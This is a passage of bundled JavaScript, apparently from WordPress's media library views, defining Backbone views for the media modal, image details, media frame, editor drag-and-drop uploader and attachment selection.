{Array|Object} content Views to register to '.media-modal-content' * @return {wp.media.view.Modal} Returns itself to allow chaining. */ content: function( content ) { this.views.set( '.media-modal-content', content ); return this; }, /** * Triggers a modal event and if the `propagate` option is set, * forwards events to the modal's controller. * * @param {string} id * @return {wp.media.view.Modal} Returns itself to allow chaining. */ propagate: function( id ) { this.trigger( id ); if ( this.options.propagate ) { this.controller.trigger( id ); } return this; }, /** * @param {Object} event */ keydown: function( event ) { // Close the modal when escape is pressed. if ( 27 === event.which && this.$el.is(':visible') ) { this.escape(); event.stopImmediatePropagation(); } // Select the attachment when command or control and enter are pressed. if ( ( 13 === event.which || 10 === event.which ) && ( event.metaKey || event.ctrlKey ) ) { this.selectHandler( event ); event.stopImmediatePropagation(); } } }); module.exports = Modal; /***/ }), /***/ 2650: /***/ ((module) => { var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay, $ = jQuery, ImageDetails; /** * wp.media.view.ImageDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ ImageDetails = AttachmentDisplay.extend(/** @lends wp.media.view.ImageDetails.prototype */{ className: 'image-details', template: wp.template('image-details'), events: _.defaults( AttachmentDisplay.prototype.events, { 'click .edit-attachment': 'editAttachment', 'click .replace-attachment': 'replaceAttachment', 'click .advanced-toggle': 'onToggleAdvanced', 'change [data-setting="customWidth"]': 'onCustomSize', 'change [data-setting="customHeight"]': 'onCustomSize', 'keyup [data-setting="customWidth"]': 'onCustomSize', 'keyup [data-setting="customHeight"]': 'onCustomSize' } ), initialize: function() { // Used in AttachmentDisplay.prototype.updateLinkTo. this.options.attachment = this.model.attachment; this.listenTo( this.model, 'change:url', this.updateUrl ); this.listenTo( this.model, 'change:link', this.toggleLinkSettings ); this.listenTo( this.model, 'change:size', this.toggleCustomSize ); AttachmentDisplay.prototype.initialize.apply( this, arguments ); }, prepare: function() { var attachment = false; if ( this.model.attachment ) { attachment = this.model.attachment.toJSON(); } return _.defaults({ model: this.model.toJSON(), attachment: attachment }, this.options ); }, render: function() { var args = arguments; if ( this.model.attachment && 'pending' === this.model.dfd.state() ) { this.model.dfd .done( _.bind( function() { AttachmentDisplay.prototype.render.apply( this, args ); this.postRender(); }, this ) ) .fail( _.bind( function() { this.model.attachment = false; AttachmentDisplay.prototype.render.apply( this, args ); this.postRender(); }, this ) ); } else { AttachmentDisplay.prototype.render.apply( this, arguments ); this.postRender(); } return this; }, postRender: function() { setTimeout( _.bind( this.scrollToTop, this ), 10 ); this.toggleLinkSettings(); if ( window.getUserSetting( 'advImgDetails' ) === 'show' ) { this.toggleAdvanced( true ); } this.trigger( 'post-render' ); }, scrollToTop: function() { this.$( '.embed-media-settings' ).scrollTop( 0 ); }, updateUrl: function() { this.$( '.image img' ).attr( 'src', this.model.get( 'url' ) ); this.$( '.url' ).val( this.model.get( 'url' ) ); }, toggleLinkSettings: function() { if ( this.model.get( 'link' ) === 'none' ) { this.$( '.link-settings' ).addClass('hidden'); } else { this.$( '.link-settings' ).removeClass('hidden'); } }, toggleCustomSize: function() { if ( this.model.get( 'size' ) !== 'custom' ) { this.$( '.custom-size' ).addClass('hidden'); } else { this.$( '.custom-size' ).removeClass('hidden'); } }, onCustomSize: function( event ) { var dimension = $( event.target ).data('setting'), num = $( event.target ).val(), value; // Ignore bogus input. if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) < 1 ) { event.preventDefault(); return; } if ( dimension === 'customWidth' ) { value = Math.round( 1 / this.model.get( 'aspectRatio' ) * num ); this.model.set( 'customHeight', value, { silent: true } ); this.$( '[data-setting="customHeight"]' ).val( value ); } else { value = Math.round( this.model.get( 'aspectRatio' ) * num ); this.model.set( 'customWidth', value, { silent: true } ); this.$( '[data-setting="customWidth"]' ).val( value ); } }, onToggleAdvanced: function( event ) { event.preventDefault(); this.toggleAdvanced(); }, toggleAdvanced: function( show ) { var $advanced = this.$el.find( '.advanced-section' ), mode; if ( $advanced.hasClass('advanced-visible') || show === false ) { $advanced.removeClass('advanced-visible'); $advanced.find('.advanced-settings').addClass('hidden'); mode = 'hide'; } else { $advanced.addClass('advanced-visible'); $advanced.find('.advanced-settings').removeClass('hidden'); mode = 'show'; } window.setUserSetting( 'advImgDetails', mode ); }, editAttachment: function( event ) { var editState = this.controller.states.get( 'edit-image' ); if ( window.imageEdit && editState ) { event.preventDefault(); editState.set( 'image', this.model.attachment ); this.controller.setState( 'edit-image' ); } }, replaceAttachment: function( event ) { event.preventDefault(); this.controller.setState( 'replace-image' ); } }); module.exports = ImageDetails; /***/ }), /***/ 2836: /***/ ((module) => { var Frame = wp.media.view.Frame, l10n = wp.media.view.l10n, $ = jQuery, MediaFrame; /** * wp.media.view.MediaFrame * * The frame used to create the media modal. * * @memberOf wp.media.view * * @class * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ MediaFrame = Frame.extend(/** @lends wp.media.view.MediaFrame.prototype */{ className: 'media-frame', template: wp.template('media-frame'), regions: ['menu','title','content','toolbar','router'], events: { 'click .media-frame-menu-toggle': 'toggleMenu' }, /** * @constructs */ initialize: function() { Frame.prototype.initialize.apply( this, arguments ); _.defaults( this.options, { title: l10n.mediaFrameDefaultTitle, modal: true, uploader: true }); // Ensure core UI is enabled. this.$el.addClass('wp-core-ui'); // Initialize modal container view. if ( this.options.modal ) { this.modal = new wp.media.view.Modal({ controller: this, title: this.options.title }); this.modal.content( this ); } // Force the uploader off if the upload limit has been exceeded or // if the browser isn't supported. if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) { this.options.uploader = false; } // Initialize window-wide uploader. if ( this.options.uploader ) { this.uploader = new wp.media.view.UploaderWindow({ controller: this, uploader: { dropzone: this.modal ? this.modal.$el : this.$el, container: this.$el } }); this.views.set( '.media-frame-uploader', this.uploader ); } this.on( 'attach', _.bind( this.views.ready, this.views ), this ); // Bind default title creation. this.on( 'title:create:default', this.createTitle, this ); this.title.mode('default'); // Bind default menu. this.on( 'menu:create:default', this.createMenu, this ); // Set the menu ARIA tab panel attributes when the modal opens. this.on( 'open', this.setMenuTabPanelAriaAttributes, this ); // Set the router ARIA tab panel attributes when the modal opens. this.on( 'open', this.setRouterTabPanelAriaAttributes, this ); // Update the menu ARIA tab panel attributes when the content updates. this.on( 'content:render', this.setMenuTabPanelAriaAttributes, this ); // Update the router ARIA tab panel attributes when the content updates. this.on( 'content:render', this.setRouterTabPanelAriaAttributes, this ); }, /** * Sets the attributes to be used on the menu ARIA tab panel. * * @since 5.3.0 * * @return {void} */ setMenuTabPanelAriaAttributes: function() { var stateId = this.state().get( 'id' ), tabPanelEl = this.$el.find( '.media-frame-tab-panel' ), ariaLabelledby; tabPanelEl.removeAttr( 'role aria-labelledby tabindex' ); if ( this.state().get( 'menu' ) && this.menuView && this.menuView.isVisible ) { ariaLabelledby = 'menu-item-' + stateId; // Set the tab panel attributes only if the tabs are visible. tabPanelEl .attr( { role: 'tabpanel', 'aria-labelledby': ariaLabelledby, tabIndex: '0' } ); } }, /** * Sets the attributes to be used on the router ARIA tab panel. * * @since 5.3.0 * * @return {void} */ setRouterTabPanelAriaAttributes: function() { var tabPanelEl = this.$el.find( '.media-frame-content' ), ariaLabelledby; tabPanelEl.removeAttr( 'role aria-labelledby tabindex' ); // Set the tab panel attributes only if the tabs are visible. if ( this.state().get( 'router' ) && this.routerView && this.routerView.isVisible && this.content._mode ) { ariaLabelledby = 'menu-item-' + this.content._mode; tabPanelEl .attr( { role: 'tabpanel', 'aria-labelledby': ariaLabelledby, tabIndex: '0' } ); } }, /** * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ render: function() { // Activate the default state if no active state exists. if ( ! this.state() && this.options.state ) { this.setState( this.options.state ); } /** * call 'render' directly on the parent class */ return Frame.prototype.render.apply( this, arguments ); }, /** * @param {Object} title * @this wp.media.controller.Region */ createTitle: function( title ) { title.view = new wp.media.View({ controller: this, tagName: 'h1' }); }, /** * @param {Object} menu * @this wp.media.controller.Region */ createMenu: function( menu ) { menu.view = new wp.media.view.Menu({ controller: this, attributes: { role: 'tablist', 'aria-orientation': 'vertical' } }); this.menuView = menu.view; }, toggleMenu: function( event ) { var menu = this.$el.find( '.media-menu' ); menu.toggleClass( 'visible' ); $( event.target ).attr( 'aria-expanded', menu.hasClass( 'visible' ) ); }, /** * @param {Object} toolbar * @this wp.media.controller.Region */ createToolbar: function( toolbar ) { toolbar.view = new wp.media.view.Toolbar({ controller: this }); }, /** * @param {Object} router * @this wp.media.controller.Region */ createRouter: function( router ) { router.view = new wp.media.view.Router({ controller: this, attributes: { role: 'tablist', 'aria-orientation': 'horizontal' } }); this.routerView = router.view; }, /** * @param {Object} options */ createIframeStates: function( options ) { var settings = wp.media.view.settings, tabs = settings.tabs, tabUrl = settings.tabUrl, $postId; if ( ! tabs || ! tabUrl ) { return; } // Add the post ID to the tab URL if it exists. $postId = $('#post_ID'); if ( $postId.length ) { tabUrl += '&post_id=' + $postId.val(); } // Generate the tab states. _.each( tabs, function( title, id ) { this.state( 'iframe:' + id ).set( _.defaults({ tab: id, src: tabUrl + '&tab=' + id, title: title, content: 'iframe', menu: 'default' }, options ) ); }, this ); this.on( 'content:create:iframe', this.iframeContent, this ); this.on( 'content:deactivate:iframe', this.iframeContentCleanup, this ); this.on( 'menu:render:default', this.iframeMenu, this ); this.on( 'open', this.hijackThickbox, this ); this.on( 'close', this.restoreThickbox, this ); }, /** * @param {Object} content * @this wp.media.controller.Region */ iframeContent: function( content ) { this.$el.addClass('hide-toolbar'); content.view = new wp.media.view.Iframe({ controller: this }); }, iframeContentCleanup: function() { this.$el.removeClass('hide-toolbar'); }, iframeMenu: function( view ) { var views = {}; if ( ! view ) { return; } _.each( wp.media.view.settings.tabs, function( title, id ) { views[ 'iframe:' + id ] = { text: this.state( 'iframe:' + id ).get('title'), priority: 200 }; }, this ); view.set( views ); }, hijackThickbox: function() { var frame = this; if ( ! window.tb_remove || this._tb_remove ) { return; } this._tb_remove = window.tb_remove; window.tb_remove = function() { frame.close(); frame.reset(); frame.setState( frame.options.state ); frame._tb_remove.call( window ); }; }, restoreThickbox: function() { if ( ! this._tb_remove ) { return; } window.tb_remove = this._tb_remove; delete this._tb_remove; } }); // Map some of the modal's methods to the frame. _.each(['open','close','attach','detach','escape'], function( method ) { /** * @function open * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function close * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function attach * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function detach * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function escape * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ MediaFrame.prototype[ method ] = function() { if ( this.modal ) { this.modal[ method ].apply( this.modal, arguments ); } return this; }; }); module.exports = MediaFrame; /***/ }), /***/ 2982: /***/ ((module) => { var View = wp.media.View, AttachmentCompat; /** * wp.media.view.AttachmentCompat * * A view to display fields added via the `attachment_fields_to_edit` filter. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AttachmentCompat = View.extend(/** @lends wp.media.view.AttachmentCompat.prototype */{ tagName: 'form', className: 'compat-item', events: { 'submit': 'preventDefault', 'change input': 'save', 'change select': 'save', 'change textarea': 'save' }, initialize: function() { // Render the view when a new item is added. this.listenTo( this.model, 'add', this.render ); }, /** * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining. */ dispose: function() { if ( this.$(':focus').length ) { this.save(); } /** * call 'dispose' directly on the parent class */ return View.prototype.dispose.apply( this, arguments ); }, /** * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining. */ render: function() { var compat = this.model.get('compat'); if ( ! compat || ! compat.item ) { return; } this.views.detach(); this.$el.html( compat.item ); this.views.render(); return this; }, /** * @param {Object} event */ preventDefault: function( event ) { event.preventDefault(); }, /** * @param {Object} event */ save: function( event ) { var data = {}; if ( event ) { event.preventDefault(); } _.each( this.$el.serializeArray(), function( pair ) { data[ pair.name ] = pair.value; }); this.controller.trigger( 'attachment:compat:waiting', ['waiting'] ); this.model.saveCompat( data ).always( _.bind( this.postSave, this ) ); }, postSave: function() { this.controller.trigger( 'attachment:compat:ready', ['ready'] ); } }); module.exports = AttachmentCompat; /***/ }), /***/ 3443: /***/ ((module) => { /** * wp.media.view.Attachment.Library * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Library = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Library.prototype */{ buttons: { check: true } }); module.exports = Library; /***/ }), /***/ 3479: /***/ ((module) => { var Attachments = wp.media.view.Attachments, Selection; /** * wp.media.view.Attachments.Selection * * @memberOf wp.media.view.Attachments * * @class * @augments wp.media.view.Attachments * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Selection = Attachments.extend(/** @lends wp.media.view.Attachments.Selection.prototype */{ events: {}, initialize: function() { _.defaults( this.options, { sortable: false, resize: false, // The single `Attachment` view to be used in the `Attachments` view. AttachmentView: wp.media.view.Attachment.Selection }); // Call 'initialize' directly on the parent class. return Attachments.prototype.initialize.apply( this, arguments ); } }); module.exports = Selection; /***/ }), /***/ 3674: /***/ ((module) => { var View = wp.media.View, l10n = wp.media.view.l10n, $ = jQuery, EditorUploader; /** * Creates a dropzone on WP editor instances (elements with .wp-editor-wrap) * and relays drag'n'dropped files to a media workflow. * * wp.media.view.EditorUploader * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ EditorUploader = View.extend(/** @lends wp.media.view.EditorUploader.prototype */{ tagName: 'div', className: 'uploader-editor', template: wp.template( 'uploader-editor' ), localDrag: false, overContainer: false, overDropzone: false, draggingFile: null, /** * Bind drag'n'drop events to callbacks. */ initialize: function() { this.initialized = false; // Bail if not enabled or UA does not support drag'n'drop or File API. if ( ! window.tinyMCEPreInit || ! window.tinyMCEPreInit.dragDropUpload || ! this.browserSupport() ) { return this; } this.$document = $(document); this.dropzones = []; this.files = []; this.$document.on( 'drop', '.uploader-editor', _.bind( this.drop, this ) ); this.$document.on( 'dragover', '.uploader-editor', _.bind( this.dropzoneDragover, this ) ); this.$document.on( 'dragleave', '.uploader-editor', _.bind( this.dropzoneDragleave, this ) ); this.$document.on( 'click', '.uploader-editor', _.bind( this.click, this ) ); this.$document.on( 'dragover', _.bind( this.containerDragover, this ) ); this.$document.on( 'dragleave', _.bind( this.containerDragleave, this ) ); this.$document.on( 'dragstart dragend drop', _.bind( function( event ) { this.localDrag = event.type === 'dragstart'; if ( event.type === 'drop' ) { this.containerDragleave(); } }, this ) ); this.initialized = true; return this; }, /** * Check browser support for drag'n'drop. * * @return {boolean} */ browserSupport: function() { var supports = false, div = document.createElement('div'); supports = ( 'draggable' in div ) || ( 'ondragstart' in div && 'ondrop' in div ); supports = supports && !! ( window.File && window.FileList && window.FileReader ); return supports; }, isDraggingFile: function( event ) { if ( this.draggingFile !== null ) { return this.draggingFile; } if ( _.isUndefined( event.originalEvent ) || _.isUndefined( event.originalEvent.dataTransfer ) ) { return false; } this.draggingFile = _.indexOf( event.originalEvent.dataTransfer.types, 'Files' ) > -1 && _.indexOf( event.originalEvent.dataTransfer.types, 'text/plain' ) === -1; return this.draggingFile; }, refresh: function( e ) { var dropzone_id; for ( dropzone_id in this.dropzones ) { // Hide the dropzones only if dragging has left the screen. this.dropzones[ dropzone_id ].toggle( this.overContainer || this.overDropzone ); } if ( ! _.isUndefined( e ) ) { $( e.target ).closest( '.uploader-editor' ).toggleClass( 'droppable', this.overDropzone ); } if ( ! this.overContainer && ! this.overDropzone ) { this.draggingFile = null; } return this; }, render: function() { if ( ! this.initialized ) { return this; } View.prototype.render.apply( this, arguments ); $( '.wp-editor-wrap' ).each( _.bind( this.attach, this ) ); return this; }, attach: function( index, editor ) { // Attach a dropzone to an editor. var dropzone = this.$el.clone(); this.dropzones.push( dropzone ); $( editor ).append( dropzone ); return this; }, /** * When a file is dropped on the editor uploader, open up an editor media workflow * and upload the file immediately. * * @param {jQuery.Event} event The 'drop' event. */ drop: function( event ) { var $wrap, uploadView; this.containerDragleave( event ); this.dropzoneDragleave( event ); this.files = event.originalEvent.dataTransfer.files; if ( this.files.length < 1 ) { return; } // Set the active editor to the drop target. $wrap = $( event.target ).parents( '.wp-editor-wrap' ); if ( $wrap.length > 0 && $wrap[0].id ) { window.wpActiveEditor = $wrap[0].id.slice( 3, -5 ); } if ( ! this.workflow ) { this.workflow = wp.media.editor.open( window.wpActiveEditor, { frame: 'post', state: 'insert', title: l10n.addMedia, multiple: true }); uploadView = this.workflow.uploader; if ( uploadView.uploader && uploadView.uploader.ready ) { this.addFiles.apply( this ); } else { this.workflow.on( 'uploader:ready', this.addFiles, this ); } } else { this.workflow.state().reset(); this.addFiles.apply( this ); this.workflow.open(); } return false; }, /** * Add the files to the uploader. */ addFiles: function() { if ( this.files.length ) { this.workflow.uploader.uploader.uploader.addFile( _.toArray( this.files ) ); this.files = []; } return this; }, containerDragover: function( event ) { if ( this.localDrag || ! this.isDraggingFile( event ) ) { return; } this.overContainer = true; this.refresh(); }, containerDragleave: function() { this.overContainer = false; // Throttle dragleave because it's called when bouncing from some elements to others. _.delay( _.bind( this.refresh, this ), 50 ); }, dropzoneDragover: function( event ) { if ( this.localDrag || ! this.isDraggingFile( event ) ) { return; } this.overDropzone = true; this.refresh( event ); return false; }, dropzoneDragleave: function( e ) { this.overDropzone = false; _.delay( _.bind( this.refresh, this, e ), 50 ); }, click: function( e ) { // In the rare case where the dropzone gets stuck, hide it on click. this.containerDragleave( e ); this.dropzoneDragleave( e ); this.localDrag = false; } }); module.exports = EditorUploader; /***/ }), /***/ 3962: /***/ ((module) => { /** * wp.media.view.Attachment.Selection * * @memberOf wp.media.view.Attachment * * @class * @augments wp.media.view.Attachment * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Selection = wp.media.view.Attachment.extend(/** @lends wp.media.view.Attachment.Selection.prototype */{ className: 'attachment selection', // On click, just select the model, instead of removing the model from // the selection. toggleSelection: function() { this.options.selection.single( this.model ); } }); module.exports = Selection; /***/ }), /***/ 4075: /***/ ((module) => { var View = wp.media.View, $ = jQuery, Attachment; /** * wp.media.view.Attachment * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Attachment = View.extend(/** @lends wp.media.view.Attachment.prototype */{ tagName: 'li', className: 'attachment', template: wp.template('attachment'), attributes: function() { return { 'tabIndex': 0, 'role': 'checkbox', 'aria-label': this.model.get( 'title' ), 'aria-checked': false, 'data-id': this.model.get( 'id' ) }; }, events: { 'click': 'toggleSelectionHandler', 'change [data-setting]': 'updateSetting', 'change [data-setting] input': 'updateSetting', 'change [data-setting] select': 'updateSetting', 'change [data-setting] textarea': 'updateSetting', 'click .attachment-close': 'removeFromLibrary', 'click .check': 'checkClickHandler', 'keydown': 'toggleSelectionHandler' }, buttons: {}, initialize: function() { var selection = this.options.selection, options = _.defaults( this.options, { rerenderOnModelChange: true } ); if ( options.rerenderOnModelChange ) { this.listenTo( this.model, 'change', this.render ); } else { this.listenTo( this.model, 'change:percent', this.progress ); } this.listenTo( this.model, 'change:title', this._syncTitle ); this.listenTo( this.model, 'change:caption', this._syncCaption ); this.listenTo( this.model, 'change:artist', this._syncArtist ); this.listenTo( this.model, 'change:album', this._syncAlbum ); // Update the selection. this.listenTo( this.model, 'add', this.select ); this.listenTo( this.model, 'remove', this.deselect ); if ( selection ) { selection.on( 'reset', this.updateSelect, this ); // Update the model's details view. this.listenTo( this.model, 'selection:single selection:unsingle', this.details ); this.details( this.model, this.controller.state().get('selection') ); } this.listenTo( this.controller.states, 'attachment:compat:waiting attachment:compat:ready', this.updateSave ); }, /** * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ dispose: function() { var selection = this.options.selection; // Make sure all settings are saved before removing the view. this.updateAll(); if ( selection ) { selection.off( null, null, this ); } /** * call 'dispose' directly on the parent class */ View.prototype.dispose.apply( this, arguments ); return this; }, /** * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ render: function() { var options = _.defaults( this.model.toJSON(), { orientation: 'landscape', uploading: false, type: '', subtype: '', icon: '', filename: '', caption: '', title: '', dateFormatted: '', width: '', height: '', compat: false, alt: '', description: '' }, this.options ); options.buttons = this.buttons; options.describe = this.controller.state().get('describe'); if ( 'image' === options.type ) { options.size = this.imageSize(); } options.can = {}; if ( options.nonces ) { options.can.remove = !! options.nonces['delete']; options.can.save = !! options.nonces.update; } if ( this.controller.state().get('allowLocalEdits') && ! options.uploading ) { options.allowLocalEdits = true; } if ( options.uploading && ! options.percent ) { options.percent = 0; } this.views.detach(); this.$el.html( this.template( options ) ); this.$el.toggleClass( 'uploading', options.uploading ); if ( options.uploading ) { this.$bar = this.$('.media-progress-bar div'); } else { delete this.$bar; } // Check if the model is selected. this.updateSelect(); // Update the save status. this.updateSave(); this.views.render(); return this; }, progress: function() { if ( this.$bar && this.$bar.length ) { this.$bar.width( this.model.get('percent') + '%' ); } }, /** * @param {Object} event */ toggleSelectionHandler: function( event ) { var method; // Don't do anything inside inputs and on the attachment check and remove buttons. if ( 'INPUT' === event.target.nodeName || 'BUTTON' === event.target.nodeName ) { return; } // Catch arrow events. if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) { this.controller.trigger( 'attachment:keydown:arrow', event ); return; } // Catch enter and space events. if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) { return; } event.preventDefault(); // In the grid view, bubble up an edit:attachment event to the controller. if ( this.controller.isModeActive( 'grid' ) ) { if ( this.controller.isModeActive( 'edit' ) ) { // Pass the current target to restore focus when closing. this.controller.trigger( 'edit:attachment', this.model, event.currentTarget ); return; } if ( this.controller.isModeActive( 'select' ) ) { method = 'toggle'; } } if ( event.shiftKey ) { method = 'between'; } else if ( event.ctrlKey || event.metaKey ) { method = 'toggle'; } // Avoid toggles when the command or control key is pressed with the enter key to prevent deselecting the last selected attachment. if ( ( event.metaKey || event.ctrlKey ) && ( 13 === event.keyCode || 10 === event.keyCode ) ) { return; } this.toggleSelection({ method: method }); this.controller.trigger( 'selection:toggle' ); }, /** * @param {Object} options */ toggleSelection: function( options ) { var collection = this.collection, selection = this.options.selection, model = this.model, method = options && options.method, single, models, singleIndex, modelIndex; if ( ! selection ) { return; } single = selection.single(); method = _.isUndefined( method ) ? selection.multiple : method; // If the `method` is set to `between`, select all models that // exist between the current and the selected model. if ( 'between' === method && single && selection.multiple ) { // If the models are the same, short-circuit. if ( single === model ) { return; } singleIndex = collection.indexOf( single ); modelIndex = collection.indexOf( this.model ); if ( singleIndex < modelIndex ) { models = collection.models.slice( singleIndex, modelIndex + 1 ); } else { models = collection.models.slice( modelIndex, singleIndex + 1 ); } selection.add( models ); selection.single( model ); return; // If the `method` is set to `toggle`, just flip the selection // status, regardless of whether the model is the single model. } else if ( 'toggle' === method ) { selection[ this.selected() ? 'remove' : 'add' ]( model ); selection.single( model ); return; } else if ( 'add' === method ) { selection.add( model ); selection.single( model ); return; } // Fixes bug that loses focus when selecting a featured image. if ( ! method ) { method = 'add'; } if ( method !== 'add' ) { method = 'reset'; } if ( this.selected() ) { /* * If the model is the single model, remove it. * If it is not the same as the single model, * it now becomes the single model. */ selection[ single === model ? 'remove' : 'single' ]( model ); } else { /* * If the model is not selected, run the `method` on the * selection. By default, we `reset` the selection, but the * `method` can be set to `add` the model to the selection. */ selection[ method ]( model ); selection.single( model ); } }, updateSelect: function() { this[ this.selected() ? 'select' : 'deselect' ](); }, /** * @return {unresolved|boolean} */ selected: function() { var selection = this.options.selection; if ( selection ) { return !! selection.get( this.model.cid ); } }, /** * @param {Backbone.Model} model * @param {Backbone.Collection} collection */ select: function( model, collection ) { var selection = this.options.selection, controller = this.controller; /* * Check if a selection exists and if it's the collection provided. * If they're not the same collection, bail; we're in another * selection's event loop. */ if ( ! selection || ( collection && collection !== selection ) ) { return; } // Bail if the model is already selected. if ( this.$el.hasClass( 'selected' ) ) { return; } // Add 'selected' class to model, set aria-checked to true. this.$el.addClass( 'selected' ).attr( 'aria-checked', true ); // Make the checkbox tabable, except in media grid (bulk select mode). if ( ! ( controller.isModeActive( 'grid' ) && controller.isModeActive( 'select' ) ) ) { this.$( '.check' ).attr( 'tabindex', '0' ); } }, /** * @param {Backbone.Model} model * @param {Backbone.Collection} collection */ deselect: function( model, collection ) { var selection = this.options.selection; /* * Check if a selection exists and if it's the collection provided. * If they're not the same collection, bail; we're in another * selection's event loop. */ if ( ! selection || ( collection && collection !== selection ) ) { return; } this.$el.removeClass( 'selected' ).attr( 'aria-checked', false ) .find( '.check' ).attr( 'tabindex', '-1' ); }, /** * @param {Backbone.Model} model * @param {Backbone.Collection} collection */ details: function( model, collection ) { var selection = this.options.selection, details; if ( selection !== collection ) { return; } details = selection.single(); this.$el.toggleClass( 'details', details === this.model ); }, /** * @param {string} size * @return {Object} */ imageSize: function( size ) { var sizes = this.model.get('sizes'), matched = false; size = size || 'medium'; // Use the provided image size if possible. if ( sizes ) { if ( sizes[ size ] ) { matched = sizes[ size ]; } else if ( sizes.large ) { matched = sizes.large; } else if ( sizes.thumbnail ) { matched = sizes.thumbnail; } else if ( sizes.full ) { matched = sizes.full; } if ( matched ) { return _.clone( matched ); } } return { url: this.model.get('url'), width: this.model.get('width'), height: this.model.get('height'), orientation: this.model.get('orientation') }; }, /** * @param {Object} event */ updateSetting: function( event ) { var $setting = $( event.target ).closest('[data-setting]'), setting, value; if ( ! $setting.length ) { return; } setting = $setting.data('setting'); value = event.target.value; if ( this.model.get( setting ) !== value ) { this.save( setting, value ); } }, /** * Pass all the arguments to the model's save method. * * Records the aggregate status of all save requests and updates the * view's classes accordingly. */ save: function() { var view = this, save = this._save = this._save || { status: 'ready' }, request = this.model.save.apply( this.model, arguments ), requests = save.requests ? $.when( request, save.requests ) : request; // If we're waiting to remove 'Saved.', stop. if ( save.savedTimer ) { clearTimeout( save.savedTimer ); } this.updateSave('waiting'); save.requests = requests; requests.always( function() { // If we've performed another request since this one, bail. if ( save.requests !== requests ) { return; } view.updateSave( requests.state() === 'resolved' ? 'complete' : 'error' ); save.savedTimer = setTimeout( function() { view.updateSave('ready'); delete save.savedTimer; }, 2000 ); }); }, /** * @param {string} status * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ updateSave: function( status ) { var save = this._save = this._save || { status: 'ready' }; if ( status && status !== save.status ) { this.$el.removeClass( 'save-' + save.status ); save.status = status; } this.$el.addClass( 'save-' + save.status ); return this; }, updateAll: function() { var $settings = this.$('[data-setting]'), model = this.model, changed; changed = _.chain( $settings ).map( function( el ) { var $input = $('input, textarea, select, [value]', el ), setting, value; if ( ! $input.length ) { return; } setting = $(el).data('setting'); value = $input.val(); // Record the value if it changed. if ( model.get( setting ) !== value ) { return [ setting, value ]; } }).compact().object().value(); if ( ! _.isEmpty( changed ) ) { model.save( changed ); } }, /** * @param {Object} event */ removeFromLibrary: function( event ) { // Catch enter and space events. if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) { return; } // Stop propagation so the model isn't selected. event.stopPropagation(); this.collection.remove( this.model ); }, /** * Add the model if it isn't in the selection, if it is in the selection, * remove it. * * @param {[type]} event [description] * @return {[type]} [description] */ checkClickHandler: function ( event ) { var selection = this.options.selection; if ( ! selection ) { return; } event.stopPropagation(); if ( selection.where( { id: this.model.get( 'id' ) } ).length ) { selection.remove( this.model ); // Move focus back to the attachment tile (from the check). this.$el.focus(); } else { selection.add( this.model ); } // Trigger an action button update. this.controller.trigger( 'selection:toggle' ); } }); // Ensure settings remain in sync between attachment views. _.each({ caption: '_syncCaption', title: '_syncTitle', artist: '_syncArtist', album: '_syncAlbum' }, function( method, setting ) { /** * @function _syncCaption * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ /** * @function _syncTitle * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ /** * @function _syncArtist * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ /** * @function _syncAlbum * @memberOf wp.media.view.Attachment * @instance * * @param {Backbone.Model} model * @param {string} value * @return {wp.media.view.Attachment} Returns itself to allow chaining. */ Attachment.prototype[ method ] = function( model, value ) { var $setting = this.$('[data-setting="' + setting + '"]'); if ( ! $setting.length ) { return this; } /* * If the updated value is in sync with the value in the DOM, there * is no need to re-render. If we're currently editing the value, * it will automatically be in sync, suppressing the re-render for * the view we're editing, while updating any others. */ if ( value === $setting.find('input, textarea, select, [value]').val() ) { return this; } return this.render(); }; }); module.exports = Attachment; /***/ }), /***/ 4181: /***/ ((module) => { /** * wp.media.selectionSync * * Sync an attachments selection in a state with another state. * * Allows for selecting multiple images in the Add Media workflow, and then * switching to the Insert Gallery workflow while preserving the attachments selection. * * @memberOf wp.media * * @mixin */ var selectionSync = { /** * @since 3.5.0 */ syncSelection: function() { var selection = this.get('selection'), manager = this.frame._selection; if ( ! this.get('syncSelection') || ! manager || ! selection 